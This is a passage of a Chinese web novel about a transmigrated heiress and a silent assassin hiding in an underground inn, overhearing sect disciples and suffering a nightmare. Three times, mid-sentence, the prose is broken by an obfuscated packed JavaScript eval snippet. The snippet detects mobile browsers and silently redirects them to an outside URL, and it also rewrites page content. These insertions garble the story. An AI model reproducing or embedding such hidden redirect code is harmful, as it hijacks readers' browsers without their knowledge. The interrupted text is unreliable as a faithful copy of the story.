赵德富确系无忏所诛,但那般戕害亲子、毒杀发妻的人渣,难道不是死有余辜?至于他的妻妾,更是与他们毫无干系,如今却成了加重悬赏的筹码。这背后,显然有人推波助澜,意图将他们置于更危险的境地。 “这……”江晚怜撇了撇嘴,小声嘀咕,带着几分忿忿与无奈,“真是人在路上走,锅从天上来。还又大又黑。” 无忏神色未动,只将信纸放在烛火上燃烧,直至最后一点焦纸在空气飘摇。窗外虽已隔绝了鬼市那诡谲的喧嚣,却仿佛有另一场更大的、由贪婪、恶意与不明势力算计汇聚而成的风暴,正在远处的黑暗中悄然酝酿、逼近。而这间藏于地底的小小客栈,连同信中所传递的、远方那个孩子终于获得安稳新生的消息,成了这片混沌诡谲、危机四伏的天地间,为数不多、却真实可触的些许暖意与慰藉,让他们在即将面对的更艰险前路时,心头能存有一丝微光。 52. 等待进入网审 简州猫四仰八叉地摊在光滑的榆木桌面上,毫无保留地向江晚怜展露着它那身雪白蓬松、诱人抚摸的柔软肚皮,喉咙里发出惬意的、断断续续的细微呼噜声。江晚怜见状,哪里还会客气,伸出纤指便是一通毫不收敛的“爱抚攻势”,从下巴轻柔搔刮到耳根,再顺着脖颈一路捋到温热的肚腹。她的手法显然极对猫掌柜的胃口,简州猫舒服得眯起了那双琥珀色的圆眼,脑袋不自觉地向她手心顶蹭,喉咙里的呼噜声愈发响亮绵长,尾巴尖也愉悦地轻轻摆动,仿佛每一根毛发都在诉说着享受。 突然,它像是被某个念头击中,耳朵倏地一动,一个灵巧的翻身便跃下桌面,迈着优雅的小碎步跑到柜台后方,朝着通往内室的帘子方向,清亮地“喵——”了一声,尾音拖得老长,带着某种明确的指令意味。 很快,一个系着干净围裙、面相憨厚的小伙计便从后厨掀帘而出,手里稳稳地托着一个木制托盘,上面摆着几碟热气腾腾、香气扑鼻的菜肴——一盘油亮碧绿的清炒时蔬,一碗浓白鲜香的菌菇汤,还有一碟酱色红润、肉质酥烂的炖肉,并两碗莹白米饭。江晚怜的眼睛瞬间亮了起来,连日风餐露宿,终于又能安稳地吃上一顿像样的饭菜了! 无忏的目光却先落在了其中那盘清炒时蔬的白色瓷盘边缘——那里用米粒大小的黏膏,极为隐蔽地粘着一张卷成细筒的纸条。他不动声色地取下,展开。纸条上的字迹瘦硬清矍,转折处带着特有的锋棱,与之前在几家忘尘客栈……不,或者说是与枫的字迹如出一辙。 纸上只有简短的四个字: 「怎的来这?」 墨迹均匀,语气平淡,既看不出长途传信的匆促,也辨不明是略带嘲讽的调侃,还是纯粹出于关切的询问,抑或仅仅是一句平淡的确认。它像一片轻飘飘的羽毛,却悄然落在了两人南行路上某个隐秘的坐标点上。 两人沉默而迅速地用完了这一餐。食物的暖意驱散了地底的阴寒,也暂时安抚了连日奔波的疲惫。然而,这份安宁并未持续太久。 客栈那扇厚重的木门外,传来了清晰的、由远及近的脚步声,以及刻意压低却仍能听闻的交谈声。能寻到并进入这地底忘尘客栈的,绝非寻常旅人,十有八九是深谙江湖门道、或有特殊需求的“江湖客”。而如今无忏与江晚怜,尤其是江晚怜,正是黑市悬赏榜上炙手可热的“知名人物”。在此地若是被撞破行藏,无论来者是正是邪,是贪图赏金还是别有用心,一场冲突几乎无可避免。 以无忏深不可测的实力而言,解决麻烦并非难事,但他素来秉持“多一事不如少一事”的行事准则,尤其是在这敌友难辨、龙蛇混杂的渡恶镇地底。 几乎是脚步声停在门外的同一瞬,两人交换了一个心照不宣的眼神,同时起身。碗筷未及收拾,便已迅速而无声地转向通往二楼的木质楼梯。楼梯略显陡峭,踩上去发出轻微却难以完全消除的“吱呀”声。江晚怜刚踏上几级,心念微动,借着楼梯转角一处不起眼的木质镂空花格,她屏住呼吸,微微侧身,向下瞥去。 门被推开,进来的是两个男人,穿着一模一样的藏青色劲装,衣襟与袖口处以银线绣着某种繁复的、似云非云、似浪非浪的奇特纹样——正是漫画中“噬清派”弟子制服。两人面容普通,但眼神精亮,行动间带着一种刻意的收敛,却又掩不住骨子里透出的冷硬气息。他们进门后,目光首先扫过柜台,随即落在了江晚怜他们刚刚用过、尚未收拾的碗筷残席上,停留了短暂一瞬,但并未过多深究,转而选择了离门口较近的另一张空桌坐下,将随身的长剑解下,随意但触手可及地置于身侧。 噬清派。在这个漫画世界里,出现的频率不低,却始终笼罩着一层神秘面纱。此派没有固定的山门据点,弟子散布四方,行踪飘忽,组织架构成谜。其门下弟子行事风格以狠辣诡谲著称,为达目的往往不择手段,与那些标榜光明磊落、持正守中的名门正派迥异。因此,江湖上许多自诩正道之士,私底下常毫不客气地称他们为——“邪修”。他们下手之果决阴狠,有时比暗杀榜上那些只认钱的亡命之徒犹有过之,故而引来了诸多非议与警惕。但也正因如此,噬清派中人大多对所谓“名门正派”的虚伪做派嗤之以鼻,鄙夷不屑,尤其是……凌云门。 楼下,那憨厚的伙计已麻利地为两位新客人奉上了一壶温好的酒和两碟简单下酒菜。两个噬清派弟子各自斟满一杯,并未立刻饮用,而是就着昏黄的灯光,开始了低声的交谈。他们的声音压得颇低,但在相对安静的客栈一楼,加上江晚怜所在的位置居高临下又刻意凝神,还是能断续听清些许。 “……最新的……悬赏,看了吗?”靠里坐的、面容稍显精悍的弟子抿了口酒,低声问道。 “早看到了,”对面那个脸颊有颗黑痣的弟子撇了撇嘴,语气带着惯常的不屑,“你不就是想说无忏、还有……江家那个大小姐。” “对!就是他们!”精悍弟子放下酒杯,身体微微前倾,声音里透出几分难以掩饰的贪婪与困惑,“这无忏的赏金高也就算了,毕竟是榜首,可这江家大小姐……她到底干了什么惊天动地的事儿?她那赏金数目,啧啧,够咱们兄弟不愁吃喝潇洒快活几辈子了!” “谁说不是呢?”黑痣弟子夹了粒花生米丢进嘴里,“现在黑白两道,不知多少双眼睛在找他们。要是这女人哪天突然掉到我眼前就好了,省得我满世界去找——哎,对了,你听说了没?凌云门那个常年神隐的‘师尊’,听说前些日子又出关了!” 师尊?凌云门的师尊?江晚怜心里咯噔一下,迅速在记忆中搜索。她忍着结局崩坏的郁闷勉强看完漫画,印象里从头到尾似乎都没出现过关于凌云门“师尊”的具体描写,顶多偶尔被角色提及时,用“闭关”、“云游”一笔带过,是个近乎背景板的存在。 “你待在这里干什么?”一个平静无波的声音几乎贴着耳畔响起,带着一丝微不可察的无奈。 “唔!”江晚怜吓得浑身一激灵,险些叫出声,猛地转头,只见无忏不知何时也已无声无息地来到她身侧,同样隐在楼梯的死角之后,目光清冷地投向楼下。他站得极近,江晚怜甚至能闻到他身上那股熟悉的、清冽如雪后松针的气息。 “你要吓死谁啊!?”江晚怜抚着胸口,用气音低低斥道,瞪了他一眼。 楼下,靠门坐的黑痣弟子嗤笑一声,接上了方才的话题:“切!他什么时候不是在闭关?神龙见首不见尾的,估计露个面,过两天不知又躲哪个山洞里参他的‘大道’去了!真不知道他们凌云门摊上这么个甩手掌柜似的师尊,是怎么在江湖上立足这么多年的。”语气里满是不以为然。 嘶……听起来,这位神秘的“师尊”不仅存在,而且似乎是个不太管事的性子?不过这话要是让那位脾气一点就着的李子遥听见,恐怕当场就得拔剑理论了。 “说起凌云门,”精悍弟子似乎想起了什么,眼中闪过一抹看好戏的神色,“他们门里那两个被捧上天的宝贝疙瘩,什么‘凌云双璧’、‘未来的希望’来着?最近好像没什么动静啊?” “哦~你是说叶玖,还有那个一点就炸的李子遥?”黑痣弟子嘿嘿低笑两声,“快别瞎猜了,我前几天恰好遇到一位相熟的、消息灵通的‘师娘’,据她说,那两位,眼下就在咱们这附近一带活动呢!具体为了什么不清楚,但肯定有大事。” 什么?!叶玖和李子遥他们……居然就在这附近?! 江晚怜脑中“嗡”的一声,瞳孔骤然收缩,心脏不受控制地加速跳动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054604|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。作为原漫画的男女主角,他们的行踪无疑牵动着巨大的剧情惯性,自己这个意外闯入的“变数”,与他们在此地可能产生的交集,光是想想就让她头皮发麻。 或许是楼上两道专注的视线过于集中,又或许是江晚怜瞬间的震惊导致了气息的细微变化,楼下那名精悍的噬清派弟子忽然若有所觉,眉头一皱,视线略带警惕地扫向楼梯方向。 江晚怜不敢再多停留,立刻缩回身子,蹑手蹑脚地快速登上最后几级台阶。无忏亦随之而上,反手轻轻关上了二楼客房那扇厚实的木门,将楼下的低语与可能的窥探隔绝在外。 客房里只点着一盏油灯,光线昏暗,将两人的影子投在墙壁上,拉得忽长忽短。江晚怜背靠着冰凉的门板,缓缓吐出一口气,试图平复有些紊乱的心跳。无忏则已走到窗边一张硬木椅旁坐下,长剑依旧怀着,姿态看似放松,却无一处破绽。 “他们刚才说的……‘凌云门师尊’,是谁啊?”江晚怜走到床边坐下,忍不住问道。这个突然冒出来的、在漫画里几乎被忽略的关键人物,让她感到一种脱离掌控的不安。 “柳长歌。”无忏的声音在寂静的房间里显得格外清晰,“凌云门现任执掌者,亦是叶玖与李子遥的师尊。我未曾与他交手过,其实力不详,名字亦是打听而来。”他继续道,“他常年闭关不出,门中事务多由其大弟子叶玖及几位长老代理。非关乎门派存亡或天下太平之大事,绝不轻易现身人前。” 呃……这么神秘?简直像个活在传说里的影子。 房间里再次陷入了沉默,只有油灯灯芯偶尔发出的细微噼啪声。江晚怜坐在床沿,目光不由自主地落在对面椅子上的无忏身上。他微垂着眼睫,面容在摇曳的光影下半明半暗,依旧是那副万年不变的平静模样,仿佛世间纷扰皆与他无关。 自己跟在他身边,算算也有些时日了。一同经历过追杀、露宿荒野、穿越险地,勉强可称得上是“同伴”。然而,除了最基本的行动协调和必要的生存信息交流,她对他依然知之甚少。他的过去,他的目的,他为何会卷入江家这摊浑水,又为何……无数疑问盘旋在心。 没有各种快穿漫画所谓的“好感度系统”给她明确的数值提示,眼前这位大佬又是个情绪从不外露的“面瘫”,根本无法通过察言观色来揣测他的态度与底线。这导致江晚怜很多时候想问些什么,都不得不先在心里掂量再三,生怕触碰到什么禁忌,惹恼了这位目前唯一的“保护伞”。 “有事直说。” 无忏突然开口,打破了沉寂。他甚至没有抬眼,仿佛只是随口一言,却精准地戳破了江晚怜内心的犹豫。 江晚怜眨了眨眼,试探着:“真的?” “真的真的?”她又凑近了一点,语气里带上了一丝她自己都没察觉到的、介于玩笑与认真之间的微妙情绪。 “……”无忏终于抬眸,那双异色的眼瞳在昏黄光线下显得深邃难测,静静地看着她,没有肯定,也没有否定,只是无声地等待着。 这大概就是默许了吧?江晚怜想。她深吸一口气,像是下了某种决心,双手不自觉地揪住了自己的衣角。 “那……我就问一个问题,好不好?就一个!”她竖起一根纤细的食指,努力让脸上的表情显得格外真诚,甚至带上了点恳求的意味,试图软化可能带来的冲击。 她要问的,是一个从最初就问过的问题,一个关乎“江晚怜”这个身份最核心秘密的问题,也是她作为“江晚莲”的时候,始终无法在漫画找到线索的问题。 她清澈的眸子紧紧锁住无忏的眼睛,一字一句,清晰而缓慢地问道: “你当初……到底是如何知道,我并非江家血脉,只是……一个义女?” 53. 一件特别委托 空气仿佛被那句话冻结了。 即便是无忏这样情绪稀薄到近乎虚无的“顶级面瘫”,此刻,江晚怜也能清晰地从他眼中捕捉到一丝罕见的震动。那震动并非惊涛骇浪,更像是极深的水底被投入一颗石子,涟漪虽细微,却实实在在地荡开了他惯常的平静无波。或许他确实没料到,眼前这个时而狡黠、时而莽撞、大多数时候还算识时务的少女,会选择在这个时间、这个地点,以如此不加掩饰、甚至带着点破釜沉舟意味的方式,旧事重提,直指核心。 可他会回答吗? 江晚怜不是第一次问他了。从最初,这个疑问就像一根隐秘的刺,扎在心口最柔软的地方。每一次旁敲侧击,每一次带着试探的提及,最终都如同石沉大海,被他用沉默或是干脆的无视轻描淡写地化解。她从未得到过一个清晰、正面的回应。 无忏沉默了。那沉默并非空无一物,而是沉甸甸的,像是有什么无形的东西在寂静中酝酿、挣扎。他的目光落在虚空中的某一点,似乎穿透了眼前昏黄的灯光与斑驳的墙壁,看向了更遥远、也更晦暗的所在。时间在油灯荜拨的微响中缓缓流逝,每一息都被拉得绵长。 良久,他才缓缓开口,声音比平日更低沉几分,带着一种罕见的、近乎审慎的质地:“你……真想听?”他没有看她,仿佛这个问题不仅是问江晚怜,也是在问自己。 “想!”江晚怜几乎是在他话音落下的瞬间就给出了答案,声音不大,却异常坚定,带着破釜沉舟般的决心,“特别想!这件事对我……很重要。”她强调了最后三个字,眼神里除了执拗,还有一丝不易察觉的恳求。 无忏终于将视线移回她脸上,那双异色的眸子在幽暗光线下显得格外深邃,像是藏匿了太多无法言说的风暴与秘密。他静静看了她几秒,然后,做出了一个让江晚怜心口一沉的动作——他缓缓闭上了眼睛。 “有些事情,”他合目说道,声音平静无波,却字字清晰,带着一种近乎残酷的冷静,“还是不知道为好。” 这话像一盆冷水,猝不及防地浇灭了江晚怜心中刚刚燃起的一丝希望火苗。她先是一愣,随即一股混杂着失望、委屈和被戏弄的恼怒猛地窜了上来。 “怎么这样!”她声音不自觉地拔高了些,又猛地压低,怕惊动楼下,但语气里的火药味却掩不住,“明明是你让我有话直说的!我直说了,你又拿这种话来搪塞我!你……你这是说话不算话!骗子!”她气鼓鼓地瞪着他,胸口微微起伏,脸颊也因为激动而染上薄红。 无忏合着眼,对她的指责并无太大反应,只是在她话音落下后,才淡声道:“你可以选择换个问题。” 换个问题?他这话是什么意思?江晚怜的脑子飞速转动。是暗示这个问题本身涉及了某种禁忌或巨大的秘密,现在还不是揭晓的时机?还是说,这背后牵扯的东西,真的沉重到他认为她不应该知道、也无力承受? 能有什么惊天秘密是不能告诉她的?她连自己穿越成自己最讨厌的女配角都接受了,连被全江湖追杀都正在经历,还有什么比这更离谱、更糟糕的? 无数猜测在脑海中翻腾,却得不到任何印证。这种被蒙在鼓里、被无形屏障隔绝在真相之外的感觉,让她无比憋闷。 “切……”她扭过头,赌气般地将后脑勺对着他,声音闷闷的,带着显而易见的失落和负气,“那我不问了!反正问了你也不会老实回答我!没意思!” 说完,她像是要彻底终结这令人不快的对话和这糟糕的一天,就那么直挺挺地、带着点自暴自弃意味地躺了下去,拉起薄被胡乱盖到下巴,闭上眼睛,就差把“生气”两个大字贴脑门上了。 房间里重新陷入寂静,只剩下两人轻重不一的呼吸声,以及那份弥漫在空气中的、微妙的僵持感。 无忏坐在那把硬木椅上,如同亘古不变的磐石。过了片刻,他才缓缓睁开眼,目光平静地扫过床上那团裹在被子里的、明显还在生闷气的“小山包”。少女的侧脸在微弱的光线下显得有些倔强,又带着点孩子气的委屈。 他没有再说什么,只是静静地收回了目光。然后,他重新调整了呼吸,将脑海中因刚才对话而泛起的些许波澜抚平,任由自己的思绪放空,意识如同沉入水底的沙砾,渐渐剥离了现世的嘈杂与光影。 时间与空间的界限开始模糊、溶解。 他的“视线”仿佛穿透了客栈厚实的墙壁,越过地底幽深的甬道与地上渡恶镇的混乱肮脏,逆着来时的方向急速倒流。昼夜交替,山河倒退,最终定格在了一个特定的时间点与地点—— 江家灭门血夜的前几日。 地点,是京城外向东约十里的荒路。时值黄昏,天际残阳如血,将大片荒芜的田野和蜿蜒的土路染上一种凄艳而不祥的橙红色。风很大,卷起干燥的尘土和枯黄的草叶,在空中打着令人心烦意乱的旋儿。路边零星立着几株叶子落尽的老树,枝桠虬结,像挣扎向天空的枯骨。 一个身着玄色劲装的少年,正独自走在这条仿佛被繁华京城遗忘的荒僻道路上。衣袂在风中猎猎作响,步伐稳定而沉默,与这荒凉景象融为一体,像一柄独自出鞘、漫无目的行走的孤剑。 那时的无忏,仍是那个高居暗杀榜榜首、名动天下却也令人闻风丧胆的少年杀手。一袭玄衣几乎融于渐浓的暮色,身形挺拔却孤寂。他并非在执行任务,也非赶路,只是……如那信中所言,有些“闲来无事”,独自一人走在这荒僻的路上。至于为何散步至此,或许连他自己也说不清,只是习惯性地远离人群,寻求片刻独处的放空。 就在这时,天际传来一声短促而锐利的鸣啸,划破了荒野的寂静。 一只隼鸟自血色晚霞中俯冲而下,速度极快,轨迹精准。它通体灰羽,唯独两侧翅膀的尖端,各有一抹醒目的金褐色斑纹,在夕照下闪烁着金属般的光泽。这显然不是寻常野鸟。它并未攻击,也未盘旋,而是径直朝着独自行走的无忏飞来,在他头顶不足一丈处骤然减速,利爪一松—— 一封以油纸细心包裹、以细绳捆扎的信笺,便轻飘飘地,却又带着某种宿命般的重量,落向玄衣少年的掌心。 无忏几乎下意识地抬手,稳稳接住。触手微凉。他抬起那双总是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他凭借着这份模糊的“感觉”,在尸山血海中行走,完成了无数旁人眼中不可能的任务,一步步登上了暗杀榜的巅峰。此刻,这感觉再次苏醒,微弱却执拗地指向这封信,指向那个名叫“江寻”的人。 信中说,会有人相助。这并非轻视他的实力,或许只是意味着,他只需要扮演“最终执剑者”的角色,其他的障碍与琐碎,自有人料理。至于江府其余的三十七条性命……他的目光在那行字上淡淡掠过。 与我无关。 他的任务,始终只有明确的目标本身。 残阳彻底沉入地平线,最后一线天光被大地吞噬。荒野陷入一片朦胧的灰暗,风声渐厉。 无忏将信纸重新折好,收入怀中。油纸与衣料摩擦,发出细微的窸窣声。然后,他转过身,不再看向隼鸟消失的天际,也不再理会四周愈发浓重的荒野暮色,迈开脚步,沿着荒路,朝着远处那座在暮霭中已显露出庞大而模糊轮廓的京城方向,沉默而坚定地走去。 夜风卷起他玄色的衣角,背影孤独,却笔直如剑,径直刺向那场即将到来的、吞噬一切的血色风暴中心。 54. 等待进入网审 江晚怜不知何时沉入了睡眠的深潭。 梦境悄无声息地漫上来,如同涨潮的海水,温柔却不容抗拒地将她卷离了现实。眼前的黑暗渐渐褪去,被一种熟悉到令人心悸的暖色调取代——她又回到了那间狭小却安心的卧室,重新变回了那个为高考发愁的普通高三学生,江晚莲。 梦中的一切细节都被镀上了柔光,美好得近乎失真。清晨的阳光透过半旧的米色窗帘,在书桌上切割出明亮的光斑,细小的尘埃在光柱中缓缓起舞。空气里飘着淡淡的、家里特有的气味——旧书页的油墨味、实木家具的清香,还有母亲在厨房隐约传来的煎蛋香气。一切都安稳得让人想叹息。 她不再是那个被全江湖追捕、朝不保夕的“江晚怜”,不必时刻警惕身后是否有利刃袭来,也不必在深夜蜷缩于荒野火堆旁,听着风声揣测危险。她只是一个熬夜复习后睡过了头的女孩,额头还残留着趴在习题册上压出的浅浅红痕。 半梦半醒间,她迷迷糊糊地撑起身子。视线有些模糊,大脑还沉浸在睡眠的余韵里。眼前是再熟悉不过的景象:书桌上摊开的《五年高考三年模拟》,红笔蓝笔划满重点的课本,写满演算过程的草稿纸凌乱地铺开,旁边的陶瓷杯里还有小半杯冷掉的咖啡。台灯还亮着,发出低低的嗡鸣,暖黄的光晕笼罩着这一小片天地。窗外是一片柔和的、朦胧的亮白,像被薄雾笼罩,看不清具体的景物,却能隐约听见几声清脆婉转的鸟鸣,穿透雾气传来,生机勃勃。 啊……今天好像是周末。 这个认知让她紧绷的神经彻底松懈下来,一股慵懒的暖意从四肢百骸升起。她揉了揉惺忪的睡眼,打了个小小的哈欠,嘴角不自觉地弯起。真好,不用早起,可以慢慢来。 她掀开身上印着卡通图案的薄被,光着脚踩在微凉的地板上,走到门边,习惯性地拧开了那扇再普通不过的卧室门锁。“咔哒”一声轻响,在寂静的清晨格外清晰。 门外是家的气息。更浓郁的饭菜香飘来,是葱花煎蛋的味道,还夹杂着小米粥的甜香。厨房里传来母亲忙碌的、令人心安的锅铲碰撞声。客厅的电视开着,音量调得很低,播放着晨间新闻的片头音乐。 而沙发上,背对着她,坐着一个熟悉的身影。微卷的长发,常穿的浅蓝色居家服,略有些慵懒的坐姿——是她的闺蜜,林晓妍。 一股复杂的情绪瞬间涌上江晚莲的心头。看到好友的亲切感,混杂着……一丝难以言喻的“怨念”。 要不是这家伙!要不是她非要塞给自己那本叫《问鼎仙途》的漫画,还拼命安利“剧情超带感,男女主超好磕!反派巨帅!”,自己怎么会……莫名其妙地就“猝死”穿进了这个鬼地方,成了个被全世界追杀的倒霉蛋?! “小——妍——!” 她几乎是带着点咬牙切齿的意味,拖长了声音喊道,一半是亲昵,一半是控诉,脚步不自觉地加快,朝着沙发走去。 沙发上的人影闻声,缓缓地、以一种近乎刻板的节奏,转过了头。 江晚莲的脚步猛地顿住了,像是撞上了一堵无形的冰墙,寒意瞬间从脚底直冲头顶。 转过来的那张脸……没有五官。 平滑的、空白一片的皮肤,覆盖在应该在的位置。没有眼睛,没有鼻子,没有嘴巴,就像一个尚未捏制完成的粗糙人偶头颅。阳光落在那片空白上,显得诡异而荒诞。 江晚莲僵在原地,血液仿佛瞬间冻结,喉咙像是被什么扼住,发不出任何声音。一股巨大的、冰冷的恐惧攫住了她。 “你早就死了!”一个声音忽然从她身后传来,冰冷,尖锐,带着毫不掩饰的恶意和讥诮,清晰地钻进她的耳朵,“还妄想回去?” 不是林晓妍的声音!是从她自己的房间里传出来的!! 江晚莲的呼吸骤停,心脏狂跳得几乎要撞碎胸腔。她用尽全身力气,猛地扭过头,脖颈发出僵硬的“咔”声。 她自己的卧室门口,不知何时,静静地站着一个“人”。 一个穿着精致繁复的淡绿色古装衣裙,头发梳成古代少女发式的女子。她的身形,她的轮廓,甚至她微微扬起的下巴弧线……都无比熟悉。 那是“江晚怜”。 那个她被迫顶替了身份的、真正的江家大小姐,正站在那里,一双空洞的眼睛直勾勾地“看”着她,苍白得没有一丝血色的嘴唇,缓缓勾起一个没有丝毫温度的笑容。 “成为最讨厌的人……”她开口,声音幽幽的,像是从深井里传来,“是何种感觉…?” 那声音钻进耳朵,如同冰冷的毒蛇缠绕上脊椎。 “啊——!!!” 江晚怜……或者说,此刻灵魂仍是江晚莲的她,发出一声短促而凄厉的尖叫,猛地从床上弹坐起来!冷汗瞬间浸透了单薄的中衣,额发湿漉漉地贴在额角,胸口剧烈起伏,大口大口地喘着气,眼前还残留着那没有五官的脸和绿衣女子冰冷笑容的残影。 “呼……呼……” 她惊魂未定地环顾四周。 昏暗的油灯,粗糙的石壁,身下硬实的木板床,空气中淡淡的陈旧木头与尘土气息……还有,坐在旁边椅子上,不知是入定还是浅眠,却被她这声尖叫骤然惊动,此刻正缓缓睁开那双异色眼瞳,静静看向她的——无忏。 没有温馨的卧室,没有煎蛋的香气,没有母亲,没有好闺蜜,也没有……那个“江晚怜”。 她还在忘尘客栈。 她仍然是“江晚怜”,那个或许永远也回不去的“江晚莲”,似乎真的……只存在于一场荒诞又恐怖的梦境,和深不见底的怀想里了。现实是地底的阴冷,是江湖的追杀,是身边这个沉默而强大的……同伴?以及这具仍然属于“别人”的身体所带来的、挥之不去的冰冷寒意。 “你近来心神不宁,极易受惊。”无忏的声音打破了清晨的寂静,并非疑问,而是平静的陈述。 江晚怜的身子仍在不自觉地微微发颤,指尖冰凉。窗外天色尚未完全挣脱夜的束缚,呈现一种朦胧的灰蓝色,这一夜被噩梦切割得支离破碎,睡意浅薄如纸。 “我也不知道……”她抱着膝盖,将半张脸埋进臂弯里,声音闷闷的,带着刚醒来的沙哑和未消散的惊悸,“许是……太累了吧。” 这疲惫或许来自连日奔命的颠沛,或许源自渡恶镇无处不在的压抑,或许是因为得知叶玖与李子遥近在咫尺带来的无形重压,又或许……仅仅源于她自身——那个关于“江晚莲”与“江晚怜”之间愈发纠缠难分的梦魇。种种缘由像藤蔓般绞在一起,勒得她喘不过气。 她将头更深地埋下去,纤瘦的肩背蜷缩着,仿佛想把自己藏进一个安全的壳里,显然还未从那场过于真实可怖的梦境中彻底挣脱。 “……”无忏没有回应她这句近似自语的解释。江晚怜也已习惯了他这种默然无声的“已读不回”——他更像一座沉默的山,观察着风雨,却并不介入云层的纠葛。 被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057356|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迫从噩梦中惊醒、提早迎接黎明的代价,便是接下来一整天都将被沉重的倦意笼罩,精神萎靡,脚步虚浮。 无忏起身,将一小袋沉甸甸的银钱无声地置于柜台光滑的木质表面,与简州猫那双清晨格外清亮的琥珀色眼眸短暂对视一瞬。随即,他转过身,目光落在正扶着粗糙的木制扶手、从楼梯上缓慢挪下来的江晚怜身上。她眼下带着淡青,神情恹恹,像株被夜雨打蔫了的小草。 天色是奇异的淡紫色,介于夜与昼的暧昧交界。昨夜那光影憧憧、人声鼎沸的鬼市已然销声匿迹,只余下一两个模糊的身影在昏蒙的光线里默默收拾着残破的摊位,如同潮水退去后沙滩上搁浅的贝壳。看来,那些不见天日的交易,只属于黑夜。 江晚怜沉默地跟上无忏的脚步,两人依旧挑选着曲折隐蔽的小巷穿行。墙壁高耸,夹道狭窄,脚步声在其中回响,更显清晨的冷清。当他们终于从迷宫般的巷道中钻出,眼前的景象已截然不同——杂乱却有了生活痕迹的屋舍,晾晒的旧衣,偶尔传来的炊烟气息,这里俨然成了一片平平无奇、甚至有些破败的住宅区域。 渡恶镇的清晨,与其他小镇唤醒于鸡鸣人语、市井喧嚣的生机截然不同。它沉浸在一种过度寂静之中,街道空荡,门窗紧闭,仿佛整个镇子仍在黑夜的余韵中沉睡未醒,居民皆是昼伏夜出的生灵,清晨的初日对他们而言是一种需要避开的打扰。 两人行走在空旷寂寥、杂物散落的街面上。江晚怜比起往日安静了太多。按她以往的性子,被这样生生从睡梦中拽起,少不了要嘟囔抱怨几句,或是盯着无忏的背影小声控诉。可今日,她没有,她只是沉默地跟着,步伐有些拖沓,目光微微低垂,不像往日那只精力旺盛、叽叽喳喳的小麻雀,倒更像一只被惊破了胆、正小心翼翼梳理羽毛、惊魂未定的鸟儿。 在她视线未曾触及的侧前方,无忏的脚步略微放缓,侧眸,用余光极快地扫了一眼身后那个异常安静的影子。 她……究竟怎么了? 但这个念头甫一升起,便被他以一种近乎冰冷的理智迅速压了下去。这与他何干?他为何要在意?他所需关注、所需确保的,理应只有最简明扼要的一条—— 保她性命,别无其他。 这是委托,是任务,是他行动唯一需要锚定的核心。其余种种,无论是她的情绪、她的噩梦,还是她突然的沉默,都在这条界限之外,是不该分散注意力的冗余信息。 就在他重新凝神于前方路径时,原本空无一人的街道拐角,突然窸窸窣窣地“冒”出两个熟悉的身影——正是昨日拦路的鼠兄鼠弟。两人同样哈欠连天,眼袋浮肿,一副没睡饱的萎靡模样。 无忏脚步倏然一顿,停得毫无征兆。紧跟在他身后的江晚怜正神思不属,险些一头撞上他挺直的背脊,慌忙刹住脚步。 “你干什——”责备的话脱口而出,又在她看清拦路者时戛然而止,化为一句带着讶异与残余不耐的疑问,“怎么又是你们两个?” 鼠兄见到他们,那双困倦的小眼睛顿时亮了起来,如同在沙地里扒拉到了金粒,脸上挤出一个混合着如释重负与讨好意味的笑容,搓着手上前一步: “终、终于让我哥俩找着了!那什么……大姐头吩咐,让二位再去见她一趟。” 他的语气里,有着明显的、完成任务的轻松,也有对再次面对无忏的紧张。清晨稀薄的紫灰色天光落在他们身上,将这一幕映照得如同某种悬而未决的章节开端。 55. 南图与疯言 于是,在鼠兄鼠弟那既像引路又像押送的陪同下,江晚怜与无忏再一次踏入了那片由破败棚户与赤裸恶意围成的“鼠窟”领地。 天色尚早,连“漏雨轩”前那片空地上的篝火余烬都显得格外冷清。他们径直走入那栋歪斜的木楼,又一次见到了倚在柜台边、仿佛生了根般的鼠姐。 只是今日的她,看起来比昨日更加……懈怠。整个人像没骨头似的半趴在那里,下巴搁在交叠的手臂上,眼皮耷拉着,连那头随意披散的发丝都透着一种“别来烦我”的萎靡气息。明明是她大清早派人把两人“请”回来的,怎么自己反倒一副被从热被窝里强行拽起来的模样? 江晚怜心里忍不住嘀咕:不是……大姐,你这叫人过来的诚意,是不是有点太敷衍了? 鼠姐像是连多说一个字的力气都欠奉,只烦躁地抬了抬手,朝着空气虚挥了一下。侍立一旁的鼠兄鼠弟却像接收到了明确的指令,立刻动了起来,连哄带赶地将几个探头探脑、试图看热闹的“鼠辈”驱赶出漏雨轩。最后,由鼠弟从外面带上了那扇吱呀作响的木门,将内部与外界隔开。 屋内光线再次变得昏暗而集中,只剩下他们三人——神情倦怠的鼠姐,沉默如冰的无忏,以及满心困惑的江晚怜。 “看你那小眼神儿,”鼠姐终于舍得将下巴从手臂上挪开,撩起眼皮,目光落在江晚怜脸上,语气听不出喜怒,但以江晚怜的判断,起码有八成是在调侃,“定是在心里头骂我扰人清梦吧?” 